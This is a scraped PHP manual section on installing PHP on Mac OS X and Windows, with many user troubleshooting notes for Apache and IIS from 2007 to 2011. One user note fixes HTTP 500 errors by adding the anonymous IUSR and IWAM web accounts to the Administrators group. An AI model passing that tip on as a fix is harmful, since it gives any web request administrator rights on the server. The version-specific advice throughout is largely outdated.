There are a few pre-packaged and pre-compiled versions of PHP for Mac OS X. This can help in setting up a standard configuration, but if you need to have a different set of features (such as a secure server, or a different database driver), you may need to build PHP and/or your web server yourself. If you are unfamiliar with building and compiling your own software, it's worth checking whether somebody has already built a packaged version of PHP with the features you need.

The following resources offer easy to install packages and precompiled binaries for PHP on Mac OS:

  • MacPorts: » http://www.macports.org/
  • Entropy: » http://www.entropy.ch/software/macosx/php/
  • Fink: » http://www.finkproject.org/
  • Homebrew: » http://github.com/mxcl/homebrew

User Contributed Notes

There are no user contributed notes for this page.
Installation on Mac OS X
Using the bundled PHP
Installation on Mac OS X


Using the bundled PHP

PHP has come standard with Macs since OS X version 10.0.0. Enabling PHP with the default web server requires uncommenting a few lines in the Apache configuration file httpd.conf whereas the CGI and/or CLI are enabled by default (easily accessible via the Terminal program).

Enabling PHP using the instructions below is meant for quickly setting up a local development environment. It's highly recommended to always upgrade PHP to the newest version. Like most live software, newer versions are created to fix bugs and add features and PHP being is no different. See the appropriate MAC OS X installation documentation for further details. The following instructions are geared towards a beginner with details provided for getting a default setup to work. All users are encouraged to compile, or install a new packaged version.

The standard installation type is using mod_php, and enabling the bundled mod_php on Mac OS X for the Apache web server (the default web server, that is accessible via System Preferences) involves the following steps:

  1. Locate and open the Apache configuration file. By default, the location is as follows: /private/etc/apache2/httpd.conf Using Finder or Spotlight to find this file may prove difficult as by default it's private and owned by the root user.

    Note: One way to open this is by using a Unix based text editor in the Terminal, for example nano, and because the file is owned by root we'll use the sudo command to open it (as root) so for example type the following into the Terminal Application (after, it will prompt for a password): sudo nano /private/etc/apache2/httpd.conf Noteworthy nano commands: ^w (search), ^o (save), and ^x (exit) where ^ represents the Ctrl key.

    Note: Versions of Mac OS X prior to 10.5 were bundled with older versions of PHP and Apache. As such, the Apache configuration file on legacy machines may be /etc/httpd/httpd.conf.

  2. With a text editor, uncomment the lines (by removing the #) that look similar to the following (these two lines are often not together, locate them both in the file):

    # LoadModule php5_module libexec/httpd/libphp5.so

# AddModule mod_php5.c
    Notice the location/path. When building PHP in the future, the above files should be replaced or commented out.

  3. Be sure the desired extensions will parse as PHP (examples: .php .html and .inc)

    Due to the following statement already existing in httpd.conf (as of Mac Panther), once PHP is enabled the .php files will automatically parse as PHP.

    <IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>

    Note:

    Before OS X 10.5 (Leopard), PHP 4 was bundled instead of PHP 5 in which case the above instructions will differ slightly by changing 5's to 4's.

  4. Be sure the DirectoryIndex loads the desired default index file This is also set in httpd.conf. Typically index.php and index.html are used. By default index.php is enabled because it's also in the PHP check shown above. Adjust accordingly.
  5. Set the php.ini location or use the default A typical default location on Mac OS X is /usr/local/php/php.ini and a call to phpinfo() will reveal this information. If a php.ini is not used, PHP will use all default values. See also the related FAQ on finding php.ini.
  6. Locate or set the DocumentRoot This is the root directory for all the web files. Files in this directory are served from the web server so the PHP files will parse as PHP before outputting them to the browser. A typical default path is /Library/WebServer/Documents but this can be set to anything in httpd.conf. Alternatively, the default DocumentRoot for individual users is /Users/yourusername/Sites
  7. Create a phpinfo() file

    The phpinfo() function will display information about PHP. Consider creating a file in the DocumentRoot with the following PHP code:

    <?php phpinfo(); ?>

  8. Restart Apache, and load the PHP file created above To restart, either execute sudo apachectl graceful in the shell or stop/start the "Personal Web Server" option in the OS X System Preferences. By default, loading local files in the browser will have an URL like so: http://localhost/info.php Or using the DocumentRoot in the user directory is another option and would end up looking like: http://localhost/~yourusername/info.php

The CLI (or CGI in older versions) is appropriately named php and likely exists as /usr/bin/php. Open up the terminal, read the command line section of the PHP manual, and execute php -v to check the PHP version of this PHP binary. A call to phpinfo() will also reveal this information.

User Contributed Notes

Anonymous 15-Nov-2008 02:36
You only have to uncomment:
#LoadModule php5_module        libexec/apache2/libphp5.so

This is gone:
# AddModule mod_php5.c

The statement in 3 was changed to:
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /private/etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

Extra MIME types can either be added to the file /private/etc/apache2/mime.types or by using an AddType directive as commented on above.
jaffle 24-Oct-2008 02:36
Additionally, it seems that the default installation of php on Mac OS X (10.5 tested) does not point to the default location of the mysql.sock file that is installed in a standard MySQL 5.0 installation.

This prevents php working with locally hosted MySQL databases.

Adding the following line to the /private/etc/apache2/other/php5.conf file did the trick:

php_value mysql.default_socket /tmp/mysql.sock

(make sure you put it in between the </IfModule> statements)
sachin at dharmapurikar dot in 21-Oct-2008 05:28
I am using MacOSX 10.5.4 and only enabling the mod_php5 wasn't enough to get the PHP support. I had to add following block before I could use php on machine -

<IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>
Using Packages
Compiling PHP on Mac OS X
Installation on Mac OS X


Compiling PHP on Mac OS X

Use the Unix installation guide to compile PHP on Mac OS X.

User Contributed Notes

There are no user contributed notes for this page.
Using the bundled PHP
Installation on Windows systems
Installation on Mac OS X


Installation on Windows systems

Table of Contents

  • Windows Installer (PHP 5.1.0 and earlier)
  • Windows Installer (PHP 5.2 and later)
  • Manual Installation Steps
  • Microsoft IIS
  • Microsoft IIS 5.1 and IIS 6.0
  • Microsoft IIS 7.0 and later
  • Apache 1.3.x on Microsoft Windows
  • Apache 2.x on Microsoft Windows
  • Sun, iPlanet and Netscape servers on Microsoft Windows
  • Sambar Server on Microsoft Windows
  • Xitami on Microsoft Windows
  • Building from source
  • Installation of extensions on Windows
  • Command Line PHP on Microsoft Windows

This section applies to Windows 98/Me and Windows NT/2000/XP/2003. PHP will not work on 16 bit platforms such as Windows 3.1 and sometimes we refer to the supported Windows platforms as Win32.

Note:

Windows 98/Me/NT4 is no longer supported as of PHP 5.3.0.

Note:

Windows 95 is no longer supported as of PHP 4.3.0.

There are two main ways to install PHP for Windows: either manually or by using the installer.

If you have a development environment such as Microsoft Visual Studio, you can also build PHP from the original source code.

Once you have PHP installed on your Windows system, you may also want to load various extensions for added functionality.

Warning

There are several all-in-one installers over the Internet, but none of those are endorsed by PHP.net, as we believe that using one of the official Windows packages from » http://www.php.net/downloads.php is the best choice to have your system secure and optimized.

User Contributed Notes

cbeaudry1 at att dot net 23-Sep-2011 01:24
VC6 versions of 5.3 works on the Windows 2000 platform as I am currently running Apache 2.2.21/OpenSSL 0.9.8r/PHP(VC6) 5.3.2 without any issues.

However, since VC6 versions are no longer being provided, upgrading to a VC9 version (even while using an Apache server from Apache Lounge) will result in the server failing to start as an error is generated when trying to launch PHP from a command prompt:

The procedure entry point getaddrinfo could not be located in the dynamic link library WS2_32.dll

Testing the configuration file results in the "php5apache2_2.dll could not be found" error.

If using Windows 2000 Server, stick to VC6 versions until you upgrade to higher version. Note, however, that if you are running an ecommerce website, you need to keep up with the PHP upgrades to remain PCI-compliant.
falling174fps at hotmail dot com 26-Jan-2011 08:54
Note carefully that no matter what it says above, Windows 2000 has been (effectively) desupported in PHP 5.3. However, 5.2 still seems to work, ignoring the spate of dll messages.

See: http://bugs.php.net/bug.php?id=48761

It is highly useful to run the php command line executable (php.exe) from a command line (start/run: cmd.exe) to check whether the compiled php executable will start at all:

    cd \php
    php -v

This is in preference to wondering why IIS/Apache returns some obscure message about missing headers.
- Conor
freeman0774 at gmail dot com 29-Jan-2010 01:33
Under Windows2000 Advanced Server it returns http error 500 if you have php installed on a path that uses spaces (for example C:\program files\php); solved coping the php5isapi.dll under winnt\system32 (but I think any path without spaces will be good).

Thinks this will help.
bufoni at hotmail dot com 17-Sep-2009 07:49
Oh Man!

I installed by Microsoft Installer, manually, whatever I always received de same error from IIS7.

HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.

The IIS7 interface is quite diferent and are not all together like IIS6

The 5.3 version have not any of those files: php5stdll, php5isapi.dll. etc.

The installer puts others files in handlers and I decided to use them as substitutes. Nothing done!

After that, I discovered that installer do not install these files within the sites, but in the root default site configuration of IIS7.

So, I copied the root configuration to my site and them it worked (all others procedures were done e.g. copy php.ini to windows folder)
Fernando O. 31-Jul-2009 03:28
I found a way to install it properly, on IIS 7:

Note

Set IIS to allow 32-bits if you are on 64-bits

cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1

Set enviroment variables

PATH to, say, C:\php\

PHPRC to, that same dir

Go to Web Service Extensions: Add a new extension...

Name it for example php, and point it to the php5isapi.dll.

Set status to Allowed.

Right click Web Sites:

On the tab, ISAPI Filters, name it for example php, and point it to the php5isapi.dll

Then go to Home directory tab:

Click Configuration

On Mappings, click add:

Executable would be: php5isapi.dll
Extension to: .php

Click OK, then OK.

Then on the tab Documents click Add:

and add there what you want to load as default, say index.php

Then stop, and start IIS.

This worked for me on a Windows 2003 Server, and WinXP 64.

I hope this saves time for someone.
rich at corephp dot co dot uk 02-Jul-2009 05:06
As of today (2nd July 2009) it appears that the current VC6 Windows archive doesn't include a DLL for Apache 2.2, and the two included ones don't work with 2.2 at all. The VC9 build is of course only for IIS, so no joy there either.
robert dot johnson at icap dot com 19-May-2009 03:38
IIS ISAPI module is not included in the Windows msi installer for version 5.2.9-2.

Either use the zip file and set it up manually, or use the installer for version 5.2.9-1 instead.
dpharshman at dslextreme dot com 16-May-2009 05:52
PHP 5.2.9.2 Install on XP Pro IIS 5.1 - phpinfo( ) results incorrect

Testing Date:  05.15.09

Background:
For several days now I, as a newbie, have been unsure if I had installed PHP correctly, or not.  No matter what I did phpinfo( ) reported "Configuratin File Path" as:  “C:\WINDOWS”.  I was left to wonder what was wrong.

To help resolve the phpinfo() “issue”, I conducted a series of tests using two scripts:

The first is “test-php-ini-loaded.php”; it is stored in c:\inetpub\wwwroot, and has the following code:

    <?php
    $inipath = php_ini_loaded_file();

    if ($inipath) {
        echo 'Loaded php.ini: ' . $inipath;
    } else {
        echo 'A php.ini file is not loaded';
    }
    ?>

The second script is simply calls phpinfo( ).  It is named test.php, is stored in “c:\inetpub\wwroot”,  and has the following code:

    <?php phpinfo( ); ?>

My Dev Environment:
1. Windows XP Pro SP3
2. IIS 5.1 / MMC 3.0
3. PHP 5.2.9.2 – phpMyAdmin not yet installed
4. (plus MySQL 5.1, etc.)
5. Install location is on my local E: drive

The Tests:

Test 1:
a. PHPRC environment variable and IniFilePath Registry left in place and active
b. Verified no other copies of php.ini exist on the system other than in my E:\PHP folder
c. Renamed php.ini to hold-php.ini
d. Stopped and started IIS (“net stop iisadmin” and “net start w3svc”)
e. Ran “test-php-ini-loaded.php” to check whether my php.ini is loaded.  It is not.
f. Ran "test.php".  “Loaded Configuration File” was empty, while “Configuration File (php.ini) Path” showed:  C:\WINDOWS.

Test 2:
a. Moved php.ini from E:\PHP to C:\WINDOWS
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check if my php.ini is loaded.  It is not, which surprised me.
d. Ran "test.php".  My php.ini is apparently not loaded, or found, by phpinfo( ), even though “Configuration File (php.ini) Path” reports it as being in C:\WINDOWS.
e. Note:  Per PHP’s “The configuration file” note, PHP's search order includes:  “Windows directory (C:\windows or C:\winnt) (for Windows), ...”; but it apparently doesn’t or php.ini would have been found and displayed at “Loaded Configuration File”.

Test 3:
a. Left the solo copy of my php.ini in C:\WINDOWS
b. Disabled PHPRC environment variable by renaming it to “Ex-PHPRC and saving the settings (note: for this test  I left the Registry entry for PHP IniFilePath intact)
c. Stopped and started IIS
d. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not found.
e. Ran the "test.php".  Again, my php.ini file is reported as not found in C:\WINDOWS though “Configuration File (php.ini) Path” reports it as being there.

Test 4:
a. To be thorough and eliminate all possible sources of “mis-direction” I deleted the PHP IniFilePath Registry entry (after backing up the Registry).  The PHPRC environment variable was left disabled.
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not.
d. Ran "test.php".  Again, no change.  My php.ini file is not found “Configuration File (php.ini) Path” reports it as being there.

Conclusions:
The first conclusion I came to is that, in the default download version of phpinfo( ), “Configuration File (php.ini) Path” is hard-wired to report C:\WINDOWS whether php.ini is there or not.  Further, that C:\WINDOWS is not a default search location (at least not on XP).

However, given an otherwise “proper” setup, phpinfo() reporting C:\WINDOWS as the value for “Configuration File (php.ini) Path” is merely misleading and is not actually harmful or indicative of a failed installation.

Thanks go to Peter Guy of www.peterguy.com who suggested the testing, and to Daniel Brown of www.php.net for some initial guidance.

P.S.  This note is not meant to take anything away from PHP.  It is a fine tool.  The sole purpose of the testing was to confirm that my installation of PHP was correct.
Mark C in SF 13-Apr-2009 11:19
I hadn't installed PHP in years, used the PHP 5.2.9-2 installer.  Selected FastCGI on IIS, I just didn't work.  On both a w2k3 server and on a Vista laptop.

First, I forget to install from ZIP, as I had before.  I suggest a notice on the download page. The message "Use of the installer isn't the preferred method for installing PHP." is on the "Windows Installer (PHP 5.1.0 and earlier)" page.  Is that no longer true for "Windows Installer (PHP 5.2 and later)"?

Next, I found the recent Microsoft Web Platform Installer (WPI) at http://php.iis.net

It just works.  There are no config settings, it just installed FastCGI on IIS on the W2k3 server and on the Vista laptop.  Took a download+install of the WPI tool, and a few minutes for php install.

I'll likely never take a more careful look at what happened; for a production server I'll install manually. (or use Apache :))
brian dot twardzik at usask dot ca 07-Apr-2009 10:07
Been fighting with this for a while.

Installing PHP on IIS 6.0 using the ISAPI extension.

Note, if you have a web.config file present within the Virtual Directory folder, or otherwise configure the Virtual Directory to run ASP.NET scripts in a specific configuration...

IIS will ignore its ISAPI obligations to render your PHP script and then cite a 401.3 error, access denied based on ACL. If you have Integrated Windows Authentication turned on as a second authentication method, the web browser will prompt you for credentials. If you supply some, either from the local machine or from your domain, the website will suddenly work. This will also result in your website loading when you reference it via Localhost. Only works with Localhost, and does not work with any network-access IP.

Oddly enough, Anonymous impersonation will FAIL under these conditions! Why? I suspect it is because ASP.NET scripts run under the APPLICATION-POOL USERNAME CONTEXT. Once its kicked into that gear, any hope of using Anonymous user impersonation may go out the window.

References:
/*******************/
Impersonation in ASP.NET:

(Look up "Impersonation in ASP.NET (IIS 6.0)" on www.microsoft.com/Technet/ )

Developer.com Article Demonstrating how ASP.NET Runs under ApplicationPools:

http://www.developer.com/net/asp/article.php/2245511

/*******************/

This, to date, is my only theory.

Filemon/Process Mon will not register any kind of failed file access attempts, everything will appear normally. Even the presence of a BUFFER_OVERFLOW message is normal within the context of SYSINTERNALS traces...

But if you download the IIS 6.0 resource kit, pay attention specifically to IISTRACE.

Running IISTRACE and hitting your webserver will reveal that the PHP5ISAPI filter DLL is never called! Only the asp filter DLL.

The moral of your story? Keep web.config files out of your PHP directories!
PHP Lover 18-Sep-2008 12:33
Well, When i installed the php with its all extension i repeteadly get the following error message "The specified CGI application misbehaved by not returning a complete set of HTTP headers".
I followed the following steps and the problem never came again on php 5 and iis6.

1)Made a copy of all php extensions (i.e. ext directory)
2)Using the installer removed it completely. Then manually delete php.ini file.
3)Installed the php again, but this time without any extension(i.e program only) and configured as cgi.
4)edit the php.ini file to enable the extensions and copy required extension files to php directory.

that's it. since then i never found any problem with it. i have installed it dozen of times like this way.
rowoot at gmail dot com 31-Jul-2008 08:13
Here is a tutorial on how to get the latest
apache, php/mysql alongwith phpmyadmin installed
in windows vista/xp.

http://www.visionmasterdesigns.com/category/wp/php/

Regards
J Veitch {a} Computer Muskoka dot - calm 28-Jul-2008 05:58
On IIS7 and Vista I got errors using Appcmd to add the handlers. I also wasn't able to choose FastCGI when adding the handler in the IIS Manager GUI. Removal of CGI from IIS components, a reboot, and re-adding CGI to IIS components allowed selection of FastCGI in the GUI and made it possible to complete the configuration steps.

Here is a URL (note the complete URL is presented here as 2 lines) for another tutorial on the process with steps for both GUI and command line configuration: learn.iis.net/page.aspx/246/
using-fastcgi-to-host-php-applications-on-iis7/
php at vondi dot no-ip dot com 07-Jun-2008 11:44
If you get errors like this:
PHP Notice: Constant XML_ELEMENT_NODE already defined in Unknown on line 0

And many more complaining about XML constants, comment out the line:
extension=php_domxml.dll
in your php.ini. That extension seems to be compiled into PHP when you get those errors or something else is including the functionality before that dll.
chun the man 25-May-2008 06:18
Just to note that if you are following any books about installation, of php and apache 2.2.8, the latest edition of these application gave many people problems while configuring it.

you might have probs getting php to work with mysql or you might get error in myphpadmin missing mbstring, even you followed the instructions carefully.

The new php.ini reside in c:\Windows  not c:\PHP or with the rest of the php installation. But the other files still remain in c:\PHP\ext (php_mbstring.dll etc) libmysql.dll goes in ther system32 folder.

configure your php.ini from the windows folder. :-)
Marco Tibben 08-May-2008 01:59
Installing Apache and PHP on windows Vista?

DO NOT install them in the programs file, but in locations like c:\php and c:\apache

You will end up in all kind of rights problems if you don't..

Succes!
dotpointer 25-Apr-2008 04:36
Beware!

PHP 5.2.5 + Apache 2.2

Putting thread-safe-extensions into a non-thread-safe PHP installation or the opposite results in "Unable to load dynamic library..."-error. Errors looks like the file could not be found, but they're misleading. File is found, but file does not have correct content inside.

To fix this, re-run the msi-installer and install your extensions from there instead.

If you enable ALL extensions to save time, you'll soon find out you failed as many of them will fail to load beacause of missing systems not installed on your system.
badscorp at hotmail dot com 25-Feb-2008 12:22
My experience in running php 4 and php 5 on the same machine with IIS as ISAPI module (tested on XP Pro).

1- Extract the ZIP packages of both php 4 & php 5 to c:\php4 & c:\php5, each in its own folder.

2- Setup the corresponding php.ini files in c:\php4 and c:\php5, by renaming php.ini-dist to php.ini..

3- Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll..

4- Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5- Add c:\php4 and c:\php5 to the PATH environment variable, separated by semis.

6- Create a session and an uploadtemp folders in any location, then add them in the session.save_path in bothe php ini files (there are two in php4?), and give IUSR_machinename write access to them.

7- Associate each web site in IIS with the corresponding php version.

8- Reboot..

Use phpinfo() to test it in each site.

Regards,,
Eduardo Bigai at xedco dot net 14-Jan-2008 08:40
If you get this error: "Service Unavailable" after installing PHP to a Windows XP x64 Pro, and you followed all the instructions posted in this page, you may want to try checking the ISAPI Filters in your IIS.

Make sure your a running the 32-bit version of the Microsoft.NET\Framework\v2.0.50727\aspnet_filter.dll.

If you are running the 64-bit version, you will notice that liested item in the ISAPI Filters has a red arrow pointing down. This means that the service failed to load. Delete this item from the list and add a new one. Make sure you use the one located here: %Windows%/Microsoft.NET\Framework\v2.*\aspnet_filter.dll.

Also make sure the permissions to your PHP folder have "NETWORK SERVICE", "IUSR_*", "SYSTEM" included.

I hope this helps you saving some precious time
sediaz at simpleonlinehelp dot com 08-Jan-2008 09:02
For those of you that would like visuals, there's a video tutorial that will help you get PHP5 installed on Windows 2K3 w/ IIS6.

It's pretty straight forward.

The link to the site, if you're interested, is:
http://www.videotutorialzone.com

The title is:
Installing PHP5 on Windows 2003 and IIS6

I hope this helps others as it did me.

Scott
smileclick at hotmail dot com 23-Dec-2007 07:02
Still Can't Run PHP Code?

After installing php-5.2.5-win32-installer.msi on my Windows XP2. with IIS5.1 it still didn't run PHP files.

I eventually found the fix*:

1. Goto Control Panel>System>Advanced>Environmental Variables
2. Add a New System Variable "PHRC" and set its path as "C:\Program Files\PHP"
3. Restart

*source:
http://us2.php.net/manual/en/faq.installation.php
#faq.installation.addtopath
robert dot johnson at icap dot com 13-Dec-2007 07:19
IIS setup: 403 forbidden error.

We had installed two separate different PHP versions - PHP 5.1.4 followed by 5.2.5.

We configured 5.2.5 php5isapi.dll to be loaded as the .php file type extension.

Despite this, php version 5.1.4 was being loaded.  We renamed 5.1.4's folder and then PHP was not loading at all.

There were no visible references to 5.1.4 in the IIS configuration, but in the file \webConfig.xml, there was a reference to 5.1.4's isapi under IISFilters.

To fix this problem, we added version 5.2.5's php5isapi.dll to the ISAPI Filter category for the web site, in the IIS control panel.
Philip Thompson 28-Nov-2007 11:13
If you use the installer for Windows (PHP >= 5.2.x) and you want the mysql_* functions to be used, you may have to restart your machine after you install.

I was getting the error "Call to undefined function mysql_connect..." However, I knew that my php.ini settings were correct and I was including php_mysql.dll. When I viewed phpinfo(), it was not showing that MySQL was part of the install. My first thought was to restart Apache - this did not change anything. So, then I restarted the machine, viewed phpinfo() again and it was now there.

I've manually installed several times on Windows and not had this problem. This was my first time running the installer. I think it may have something to do with setting registry values or changing environment variables. Nonetheless, hope this helps.
scott dot thomas @t inin d0t com 09-Nov-2007 08:34
Just a note on impossible to figure out 404 errors regarding include statements, NTLM authentication, and images (IIS/PHP):

My php pages with include functions were returning 404 errors and it turned out it was because every include include page included an image in the wrong directory.  As you can see when /knowledge/addin/img/li.gif is not found (404) the index.php is also returned as 404.  What led me down the wrong path was the fact that the domain user was not present in the request for the index.php when an include was present.  Changing my style sheet to load /knowledge/img/li.gif (the correct location of the image) cause the entire page to come back OK (200) and use the proper domain user for NTLM authentication.  If I hadn't happened across this by accident I don't know that I would have ever figured it out.

GET /knowledge/addin/img/li.gif - 80 - 172.16.128.43
404 0 3
GET /knowledge/index.php do=newarticle&type=qa 80 - 172.16.128.43
404 0 0

GET /knowledge/img/li.gif - 80 domain\scott.thomas 172.16.128.43
200 0 0
GET /knowledge/index.php do=newarticle&type=qa 80 domain\scott.thomas 172.16.128.43
200 0 0
infortechpro at yahoo dot com 06-Nov-2007 02:00
Hello,

I had trouble setting up PHP 5 to work IIS 5 (Windows 2000).

I keep getting a HTTP 500 error.

I checked the php5isapi.dll file path, the permissions and all that but the error did not go way.

The way I got it to work was by adding the IUSR_(machine name) and IWAM_(machine name) account to the administrators group and restarting the computer.

I hope this helps someone out there.

Cheers.
snapper 22-Oct-2007 01:34
Regarding the "No input file specified." problem where 404 error pages aren't sent if the requested non-existent file ends in .php, this was helpful to me . . . http://www.phpbuilder.com/board/showthread.php?t=9212

In a nutshell:

In IIS Management Console (v5.1 in my case), select "Default Web Site", right-click and select "Properties", "Home Directory" tab, "Configuration..." under Application Settings, "Mappings" tab, select the line for the .php file extension, select "Edit" and check these two things:

1) ensure that executable C:\PHP\php5isapi.dll filename is not truncated
2) ensure there is a tick in the box next to "Check that file exists".

Click OK, OK, OK.

Cheers.
Uday Kari 29-Sep-2007 06:24
First I got a HTTP 405 error, resolving which I got an HTTP 404 error...read on for how this was fixed...

Environment:  PHP 5.2.4, IIS 6.0 ISAPI, Windows Server 2003.

Installation:  Simply downloaded the PHP 5.2.4 installer [22,002Kb] - 30 August 2007 and ran it doing next, next until Finish.

To get rid of 405 error, ensure that your php directory allows scripts.  Start->Control Panel->Administrative Tools->Internet Information Services-> (select website, navigate to directory with your php and right-click your directory) -> Properties -> Directory TAB -> Change Execute Permissions from "None" to "Scripts" (to allow PHP).

To get rid of 404 error, ensure that your executable mapping for the .php extension is properly coded.  Start->Control Panel->Administrative Tools->Internet Information Services-> (select web site) ->Properties->Home Directory->Configuration->Mapping and then change the Executable Path for .php files from C:\Program~\PHP\php5is~1.DLL (or whatever crazy path) to "C:\Program Files\PHP\php5isapi.dll"

(IMPORTANT: the quotes from c:\ to end of dll are important since the default install location, Program Files, has a space...in my youth I would yell "Stupid Microsoft"...but now I would more maturely just note that there is an inconsistency with the way that Paths are defined...in definingenvironment variables, for instance, such spaces are OK...).
osoto3 at hotmail dot com 22-Sep-2007 01:35
Another tip that might save hours of aggravation (and cursing):

I was setting the Mappings in the IIS 5.1 Manager by going to
Default Web Site -> Properties -> Home Directory -> Configuration ->Mappings

I noticed that the ".php" extension that previously I added was the only one shown in quotes, which had been added automatically due to the fact that my PHP files are installed in directory "D:\Program Files\PHP", which contains a blank space in its name. All the other entries had no quotes and when I tried to take the quotes out, IIS responded that the path was invalid. I assumed (correctly) that the quotes were causing problems. So I copied php5isapi.dll to C:\windows (which does not have a space in the directory name) and reentered the path without quotes in the Mappings screen, and then ...

Finally, my browser was able to process and show my hello.php file correctly!

Hope this helps someone.
Jack Hardie 08-Sep-2007 02:33
If you are installing PHP on Vista just go to David Wang's blog. http://blogs.msdn.com/david.wang/
archive/2006/06/21/HOWTO-Install-and-Run-PHP-on-IIS7-Part-2.aspx

Magic!
paul_lynch67 at hotmail dot com 06-Sep-2007 12:25
Hi,

I've written a manual installation guide for PHP 5.x on Windows Server 2003 and IIS 6.0 which you can find here :

http://www.iisadmin.co.uk/?p=4

This is the same article which used to be hosted on the IIS Resources web site. I hope some of you find it useful.

Regards,

Paul Lynch [IIS MVP]
Ananda Sim 07-Aug-2007 05:00
I installed php 5.2.3 using the msi package to Windows XP SP2. First time, ISAPI choice defaulted to installing php to c:\program files\php. The IIS Manager > Websites > Home Directory > Extensions used the short filename. Didn't work - message was "module not found". I then removed and installed to c:\php. That worked easily.
fabrizio dot barbarino at uniud dot it 16-Jul-2007 03:23
In order to enable your x64 version of Windows 2003 Server executing the php*.dll through IIS, you can execute the script shown here:

http://technet2.microsoft.com/windowsserver/en/library/
36f8964c-cf86-44cf-94a4-2873ad0d175f1033.mspx?mfr=true

I've tested it with Windows 2003 Server x64 SP2 and PHP 5.2.3 and it works.

Good work,
Fabar
Jeremy Griffith 20-Jun-2007 11:46
If you have installed using the msi file, allowed it to configure IIS6 for you using the default directory, and are receiving a 404 error (specifically 404 2 error in your log file), then you need to modify the "application extension" for .php to include the full quoted path.  The default uses the old 8.3 convention which is not considered the same by IIS, and therefor the web extension isn't allowed.
klugg at tlen dot pl 11-Jun-2007 01:56
If by any chance you tried to install PHP 5 and marry it with IIS (like me), you might get into quite a frustrating situation, where separately IIS works, PHP works, but together they spit at you a "no input file specified" without further information.
The solution: don't set doc_root in php.ini to "c:\inetpub"! Just leave it empty or comment it out.
Don't forget to restart IIS.
Also, the easiest way to restart IIS is through the "internet information services" control - right click on the computer name, select "All tasks", "Restart IIS..." and confirm.
No need to go through the cmd magic spells anymore!
imi at deltanet dot hr 06-Jun-2007 09:19
PHP 5.2.3 under IIS 5.1 (as ISAPI) and Windows XP

If you have trouble trying to get run the combination above using PHP installer please make sure that your executable path for .php file on IIS has been written correctly.

Start->Control Panel->Administrative Tools->Internet Information Services-> (then select your web site) ->Properties->Home Directory->Configuration->Mapping and then change the Executable Path for .php files from C:\PHP\php5is~1.DLL to C:\PHP\php5isapi.dll
jcwebb at dicoe dot com 16-May-2007 01:50
PHPv522 configuration considerations (php.ini) on Win3k(iis6)

cgi.force_redirect = 0
++ You MUST set this (its commented out by default)

two new settings are included...
session.save_path = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\php\session"
upload_tmp_dir = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\php\upload"
++ sessions will fail: $_SESSION['something'] unless you deal with permissions on the new location,
or simply comment out the session.save_path and go back to default "c:\windows\temp"
amoo_miki at yahoo dot com 14-May-2007 01:29
Trying to get PHP run under IIS7 (on Vista) you might find that PHP crashes at startup.

The reason seems to be GD2 needs mbstring while the attempt to load GD2 is being made before mbstring is loaded. While it was clear that an attempt to load it was made by GD2, but it never got loaded causing the crash and error.

Simply moving mbstring to the top of the list solved the issue.
Load mbstring as the first extension in your php.ini.
davideatarkehostdotnet 07-May-2007 07:16
i have encountered always the same problem installing php on windows 2003 (it always worked fine with w2k) "php has encountered an access violation at xxxx". tried php5.x and downgrade to php4.x without success. problem was solved only by giving r+w+e permission on php folder to user IIS_WPG
i_robot73 at hotmail dot com 22-Apr-2007 07:30
Running on Win2k3 x64 w/ IIS6.  Followed the BASIC setup (unzip, PHPRC, add extension to IIS) and still no go.

Wasn't until I enabled x86 that it 'popped':

cscript d:\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1

No security issues that needed fixing.  Test .php file came up like a champ!
Sirichai 26-Mar-2007 12:06
Another Tips:

1. I've tried many ways installing PHP on IIS5.1 (WinXP) Many resources on the internet recommended to use a zip package, but the fact is it doesn't work.(geeez) It is a lot easier to go for the MSI installer and be sure to check those IIS functions and other extensions in the installer wizard.

2. If you got an ERROR404 on any Virtual Directory on IIS5/IIS6, but html files are displayed correctly, just edit php.ini and empty doc_root

3. If the sourcecode of php file is printed instead of the compiled one, just change all short tags <? /* Like this. */ ?> to full tags <?php /* Like this. */ ?>

